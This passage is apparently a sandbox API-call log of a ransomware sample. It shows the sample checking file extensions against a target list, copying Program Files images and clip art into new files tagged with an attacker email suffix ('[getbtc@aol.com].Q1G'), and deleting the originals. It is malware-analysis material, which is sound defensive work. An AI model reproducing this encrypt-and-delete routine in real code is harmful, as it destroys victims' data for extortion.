[0238.709] lstrlenW (lpString=".xlsx") returned 5 [0238.709] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0238.709] lstrlenW (lpString=".ppt") returned 4 [0238.709] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.709] lstrlenW (lpString=".zip") returned 4 [0238.709] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.709] lstrlenW (lpString=".rar") returned 4 [0238.709] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.709] lstrlenW (lpString=".bz2") returned 4 [0238.709] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.709] lstrlenW (lpString=".7z") returned 3 [0238.709] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.709] lstrlenW (lpString=".dbf") returned 4 [0238.709] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.709] lstrlenW (lpString=".1cd") returned 4 [0238.709] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.709] lstrlenW (lpString=".jpg") returned 4 [0238.709] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.709] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.709] lstrlenW (lpString="Title_select-highlight.png") returned 26 [0238.709] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0238.711] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3143) returned 1 [0238.711] CloseHandle (hObject=0x360) returned 1 [0238.711] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png")) returned 0x20 [0238.765] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.765] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.765] lstrlenW (lpString=".doc") returned 4 [0238.765] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.765] lstrlenW (lpString=".docx") returned 5 [0238.765] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0238.765] lstrlenW (lpString=".pdf") returned 4 [0238.765] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.765] lstrlenW (lpString=".xls") returned 4 [0238.765] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.765] lstrlenW (lpString=".xlsx") returned 5 [0238.765] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0238.765] lstrlenW (lpString=".ppt") returned 4 [0238.765] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.765] lstrlenW (lpString=".zip") returned 4 [0238.765] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.765] lstrlenW (lpString=".rar") returned 4 [0238.765] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.765] lstrlenW (lpString=".bz2") returned 4 [0238.765] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.765] lstrlenW (lpString=".7z") returned 3 [0238.765] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.765] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.765] lstrlenW (lpString=".dbf") returned 4 [0238.766] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.766] lstrlenW (lpString=".1cd") returned 4 [0238.766] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.766] lstrlenW (lpString=".jpg") returned 4 [0238.766] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.766] lstrlenW (lpString=".doc") returned 4 [0238.766] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.766] lstrlenW (lpString=".docx") returned 5 [0238.766] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0238.766] lstrlenW (lpString=".pdf") returned 4 [0238.766] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.766] lstrlenW (lpString=".xls") returned 4 [0238.766] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.766] lstrlenW (lpString=".xlsx") returned 5 [0238.766] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0238.766] lstrlenW (lpString=".ppt") returned 4 [0238.766] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.766] lstrlenW (lpString=".zip") returned 4 [0238.766] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.766] lstrlenW (lpString=".rar") returned 4 [0238.766] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.766] lstrlenW (lpString=".bz2") returned 4 [0238.766] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.766] lstrlenW (lpString=".7z") returned 3 [0238.766] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.766] lstrlenW (lpString=".dbf") returned 4 [0238.766] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.766] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.766] lstrlenW (lpString=".1cd") returned 4 [0238.766] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.767] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0238.767] lstrlenW (lpString=".jpg") returned 4 [0238.767] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.767] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.767] lstrlenW (lpString="Postage_SelectionSubpicture.png") returned 31 [0238.767] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.923] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5647) returned 1 [0238.923] CloseHandle (hObject=0x388) returned 1 [0238.923] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png")) returned 0x20 [0238.958] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0239.037] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.037] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png") returned 75 [0239.037] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png") returned 75 [0239.037] lstrlenW (lpString=".doc") returned 4 [0239.037] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0239.037] lstrlenW (lpString=".docx") returned 5 [0239.037] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0239.037] lstrlenW (lpString=".pdf") returned 4 [0239.037] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0239.037] lstrlenW (lpString=".xls") returned 4 [0239.037] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0239.037] lstrlenW (lpString=".xlsx") returned 5 [0239.037] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0239.037] lstrlenW (lpString=".ppt") returned 4 [0239.037] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0239.037] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png") returned 75 [0239.037] lstrlenW (lpString=".zip") returned 4 [0239.037] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0239.037] lstrlenW (lpString=".rar") returned 4 [0239.037] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0239.037] lstrlenW (lpString=".bz2") returned 4 [0239.037] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0239.038] lstrlenW (lpString=".7z") returned 3 [0239.038] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0239.038] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png") returned 75 [0239.038] lstrlenW (lpString=".dbf") returned 4 [0239.038] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0241.894] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.894] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0241.947] GetLastError () returned 0x0 [0241.947] ReadFile (in: hFile=0x388, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1306, lpOverlapped=0x0) returned 1 [0241.964] WriteFile (in: hFile=0x37c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1310, lpOverlapped=0x0) returned 1 [0241.965] ReadFile (in: hFile=0x388, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.965] WriteFile (in: hFile=0x37c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.965] SetEndOfFile (hFile=0x37c) returned 1 [0241.965] CloseHandle (hObject=0x37c) returned 1 [0241.966] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.966] SetEndOfFile (hFile=0x388) returned 1 [0241.993] CloseHandle (hObject=0x388) returned 1 [0241.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0242.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.021] lstrlenW (lpString=".doc") returned 4 [0242.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.021] lstrlenW (lpString=".docx") returned 5 [0242.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.021] lstrlenW (lpString=".pdf") returned 4 [0242.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.021] lstrlenW (lpString=".xls") returned 4 [0242.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.021] lstrlenW (lpString=".xlsx") returned 5 [0242.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.021] lstrlenW (lpString=".ppt") returned 4 [0242.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.021] lstrlenW (lpString=".zip") returned 4 [0242.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.021] lstrlenW (lpString=".rar") returned 4 [0242.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.021] lstrlenW (lpString=".bz2") returned 4 [0242.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.021] lstrlenW (lpString=".7z") returned 3 [0242.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.021] lstrlenW (lpString=".dbf") returned 4 [0242.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.021] lstrlenW (lpString=".1cd") returned 4 [0242.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.022] lstrlenW (lpString=".jpg") returned 4 [0242.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.022] lstrlenW (lpString=".doc") returned 4 [0242.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.022] lstrlenW (lpString=".docx") returned 5 [0242.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.022] lstrlenW (lpString=".pdf") returned 4 [0242.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.022] lstrlenW (lpString=".xls") returned 4 [0242.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.022] lstrlenW (lpString=".xlsx") returned 5 [0242.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.022] lstrlenW (lpString=".ppt") returned 4 [0242.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.022] lstrlenW (lpString=".zip") returned 4 [0242.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.022] lstrlenW (lpString=".rar") returned 4 [0242.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.022] lstrlenW (lpString=".bz2") returned 4 [0242.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.022] lstrlenW (lpString=".7z") returned 3 [0242.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.022] lstrlenW (lpString=".dbf") returned 4 [0242.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.022] lstrlenW (lpString=".1cd") returned 4 [0242.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0242.022] lstrlenW (lpString=".jpg") returned 4 [0242.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.023] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.023] lstrlenW (lpString="BD00173_.WMF") returned 12 [0242.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.023] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=16180) returned 1 [0242.023] CloseHandle (hObject=0x39c) returned 1 [0242.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0242.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.024] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.024] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.024] GetLastError () returned 0x0 [0242.024] ReadFile (in: hFile=0x39c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3f34, lpOverlapped=0x0) returned 1 [0242.026] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0242.027] ReadFile (in: hFile=0x39c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.027] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.028] SetEndOfFile (hFile=0x388) returned 1 [0242.028] CloseHandle (hObject=0x388) returned 1 [0242.028] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.028] SetEndOfFile (hFile=0x39c) returned 1 [0242.030] CloseHandle (hObject=0x39c) returned 1 [0242.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0242.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.031] lstrlenW (lpString=".doc") returned 4 [0242.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.031] lstrlenW (lpString=".docx") returned 5 [0242.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.031] lstrlenW (lpString=".pdf") returned 4 [0242.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.031] lstrlenW (lpString=".xls") returned 4 [0242.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.031] lstrlenW (lpString=".xlsx") returned 5 [0242.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.031] lstrlenW (lpString=".ppt") returned 4 [0242.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.031] lstrlenW (lpString=".zip") returned 4 [0242.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.031] lstrlenW (lpString=".rar") returned 4 [0242.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.031] lstrlenW (lpString=".bz2") returned 4 [0242.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.032] lstrlenW (lpString=".7z") returned 3 [0242.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.032] lstrlenW (lpString=".dbf") returned 4 [0242.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.032] lstrlenW (lpString=".1cd") returned 4 [0242.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.032] lstrlenW (lpString=".jpg") returned 4 [0242.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.032] lstrlenW (lpString=".doc") returned 4 [0242.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.032] lstrlenW (lpString=".docx") returned 5 [0242.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.032] lstrlenW (lpString=".pdf") returned 4 [0242.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.032] lstrlenW (lpString=".xls") returned 4 [0242.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.032] lstrlenW (lpString=".xlsx") returned 5 [0242.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.032] lstrlenW (lpString=".ppt") returned 4 [0242.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.032] lstrlenW (lpString=".zip") returned 4 [0242.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.032] lstrlenW (lpString=".rar") returned 4 [0242.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.032] lstrlenW (lpString=".bz2") returned 4 [0242.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.032] lstrlenW (lpString=".7z") returned 3 [0242.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.033] lstrlenW (lpString=".dbf") returned 4 [0242.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.033] lstrlenW (lpString=".1cd") returned 4 [0242.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0242.033] lstrlenW (lpString=".jpg") returned 4 [0242.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.033] 